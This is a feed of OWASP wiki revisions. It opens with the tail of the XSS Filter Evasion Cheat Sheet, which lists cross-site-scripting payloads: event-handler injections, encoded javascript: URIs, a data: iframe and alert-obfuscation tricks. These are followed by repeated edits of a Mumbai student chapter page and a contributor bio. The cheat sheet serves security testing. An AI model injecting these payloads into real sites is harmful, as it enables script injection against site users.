 &amp;lt;style&amp;gt;//&amp;lt;!--&amp;lt;/style&amp;gt; --&amp;gt;*{x:expression(alert(/xss/))}//&amp;lt;style&amp;gt;&amp;lt;/style&amp;gt; &lt;br /&gt;
 &amp;lt;var onmouseover=&amp;quot;prompt(1)&amp;quot;&amp;gt;On Mouse Over&amp;lt;/var&amp;gt;​&lt;br /&gt;
 &amp;lt;img src=&amp;quot;/&amp;quot; =_=&amp;quot; title=&amp;quot;onerror='prompt(1)'&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&amp;amp;#97v&amp;amp;#97script&amp;amp;#x3A;&amp;amp;#97lert(1)&amp;gt;ClickMe&lt;br /&gt;
 &amp;lt;script x&amp;gt; alert(1) &amp;lt;/script 1=2&lt;br /&gt;
 &amp;lt;form&amp;gt;&amp;lt;button formaction=javascript&amp;amp;colon;alert(1)&amp;gt;CLICKME&lt;br /&gt;
 &amp;lt;input/onmouseover=&amp;quot;javaSCRIPT&amp;amp;colon;confirm&amp;amp;lpar;1&amp;amp;rpar;&amp;quot;&lt;br /&gt;
 &amp;lt;iframe src=&amp;quot;data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
 &amp;lt;OBJECT CLASSID=&amp;quot;clsid:333C7BC4-460F-11D0-BC04-0080C7055A83&amp;quot;&amp;gt;&amp;lt;PARAM NAME=&amp;quot;DataURL&amp;quot; VALUE=&amp;quot;javascript:alert(1)&amp;quot;&amp;gt;&amp;lt;/OBJECT&amp;gt; &lt;br /&gt;
==Filter Bypass Alert Obfuscation==&lt;br /&gt;
 (alert)(1)&lt;br /&gt;
 a=alert,a(1)&lt;br /&gt;
 [1].find(alert)&lt;br /&gt;
 top[“al”+”ert”](1)&lt;br /&gt;
 top[/al/.source+/ert/.source](1)&lt;br /&gt;
 al\u0065rt(1)&lt;br /&gt;
 top[‘al\145rt’](1)&lt;br /&gt;
 top[‘al\x65rt’](1)&lt;br /&gt;
 top[8680439..toString(30)](1)&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Robert &amp;quot;RSnake&amp;quot; Hansen&lt;br /&gt;
&lt;br /&gt;
= Contributors =&lt;br /&gt;
&lt;br /&gt;
Adam Lange&amp;lt;br/&amp;gt;&lt;br /&gt;
Mishra Dhiraj&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Popular]]&lt;br /&gt;
[[Category:OWASP_Breakers]]&lt;br /&gt;
{{TOC hidden}}&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=245862</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=245862"/>
				<updated>2018-12-08T13:31:54Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*Events Taken*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Events Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  08-12-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  General discussion&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Seminar Hall&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=245839</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=245839"/>
				<updated>2018-12-07T10:00:29Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Events */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Events==&lt;br /&gt;
Date : &lt;br /&gt;
  08-12-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  General discussion&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Seminar Hall&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=245755</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=245755"/>
				<updated>2018-12-05T15:58:43Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Events */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Events==&lt;br /&gt;
Date : &lt;br /&gt;
  08-12-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  General discussion&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  TBD&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=245754</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=245754"/>
				<updated>2018-12-05T15:51:26Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Events*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Events==&lt;br /&gt;
Date : &lt;br /&gt;
  08-12-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  General discussion&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  TDB&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=244074</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=244074"/>
				<updated>2018-10-07T18:30:19Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Event Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  29-09-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Popping shell like a boss - Part 2&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Seminar Hall&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=243725</id>
		<title>Dhiraj Mishra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=243725"/>
				<updated>2018-09-26T06:55:14Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* OWASP Contributions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Dhiraj-Mishra.png|right|210px|Dhiraj Mishra]]&lt;br /&gt;
==BIO==&lt;br /&gt;
[http://twitter.com/mishradhiraj_ Dhiraj Mishra] is an active speaker and a bug hunter, discovered multiple zero days in modern web browsers, Metasploit Contributor. His work has been published on TheHackerNews, TheRegister &amp;amp; BleepingComputer. He works as Security Consultant with NotSoSecure, former EY.&amp;lt;br&amp;gt;&lt;br /&gt;
==OWASP Contributions==&lt;br /&gt;
He has been contributing to OWASP from more than a year, as a volunteer to the open community, he is or has been :&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2016 Nominated for WASPY 2016]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2017 Nominated for WASPY 2017]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Speakers_Project#tab=Available_Speakers Speaker of OWASP] for Mumbai, India with the area of Interest in OWASP Top 10 , EASPI , IoT , Dark Web.&lt;br /&gt;
* Helping and Speaking Initiatives in [https://www.owasp.org/index.php/Mumbai OWASP Local Chapter Meet Mumbai] with chapter leader Narenda Choyal.&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Trainers_Database Call_For_Trainers] in OWASP Mumbai, India , being in Trainers DB.&lt;br /&gt;
* As a Chapter leader for [http://owasp.org/index.php/Mumbai_Student_Chapter Mumbai Student Chapter] making student endorse in Information Security and Spreading Idea's and Awareness via Chapter Meets.&lt;br /&gt;
* Authors and Primary Editor's in [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet SQL Injection Prevention Cheat Sheet.] &lt;br /&gt;
* Author's and Primary Editor's in [https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet DOM Based XSS Prevention Cheat Sheet. ]&lt;br /&gt;
* Past Contributor in [http://owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Filter Evasion Cheat Sheet] where as ,this article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.&lt;br /&gt;
* Lead of [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi WAF Bypass] a very helpful cheat sheet which consists of a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete),recommended by many Security Researchers. &lt;br /&gt;
* His contribution to [https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series OWASP Cheat Sheet Project] is the most.&lt;br /&gt;
* Has a part of [https://sites.google.com/site/owaspmumbaichapter/ OWASP Mumbai Student Chapter] he as conducted a webinar for Bug Bounty as well.&lt;br /&gt;
&lt;br /&gt;
== OWASP CWE Project Benchmark ==&lt;br /&gt;
* Contributor in [https://www.owasp.org/index.php/Benchmark OWASP Benchmark],contributed SQLi/XSS fuzz vectors as initial contribution towards adding support for WAF/RASP scoring. Many thanks to [https://www.owasp.org/index.php/Benchmark#tab=Acknowledgements '''Dave Wichers''']&lt;br /&gt;
* Reach me on: mishra.dhiraj@owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bug Bounties==&lt;br /&gt;
[https://www.linkedin.com/in/mishradhiraj/ Dhiraj] as also spoken to BugCrowd LevelUp Conference, his areas of expertise in Application Security have listed him in Hall of Fame for companies and organizations such like, Facebook, Oracle, Intel, Department Of Defense, Bugcrowd, Netgear etc.&amp;lt;br&amp;gt;&lt;br /&gt;
Blog : https://datarift.blogspot.in/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=243724</id>
		<title>Dhiraj Mishra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=243724"/>
				<updated>2018-09-26T06:54:22Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*Dhiraj Mishra*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Dhiraj-Mishra.png|right|210px|Dhiraj Mishra]]&lt;br /&gt;
==BIO==&lt;br /&gt;
[http://twitter.com/mishradhiraj_ Dhiraj Mishra] is an active speaker and a bug hunter, discovered multiple zero days in modern web browsers, Metasploit Contributor. His work has been published on TheHackerNews, TheRegister &amp;amp; BleepingComputer. He works as Security Consultant with NotSoSecure, former EY.&amp;lt;br&amp;gt;&lt;br /&gt;
==OWASP Contributions==&lt;br /&gt;
He has been contributing to OWASP from more than a year, as a volunteer to the open community, he is or has been :&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF OWASP Wall Of Fame]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2016 Nominated for WASPY 2016]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2017 Nominated for WASPY 2017]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Speakers_Project#tab=Available_Speakers Speaker of OWASP] for Mumbai, India with the area of Interest in OWASP Top 10 , EASPI , IoT , Dark Web.&lt;br /&gt;
* Helping and Speaking Initiatives in [https://www.owasp.org/index.php/Mumbai OWASP Local Chapter Meet Mumbai] with chapter leader Narenda Choyal.&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Trainers_Database Call_For_Trainers] in OWASP Mumbai, India , being in Trainers DB.&lt;br /&gt;
* As a Chapter leader for [http://owasp.org/index.php/Mumbai_Student_Chapter Mumbai Student Chapter] making student endorse in Information Security and Spreading Idea's and Awareness via Chapter Meets.&lt;br /&gt;
* Authors and Primary Editor's in [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet SQL Injection Prevention Cheat Sheet.] &lt;br /&gt;
* Author's and Primary Editor's in [https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet DOM Based XSS Prevention Cheat Sheet. ]&lt;br /&gt;
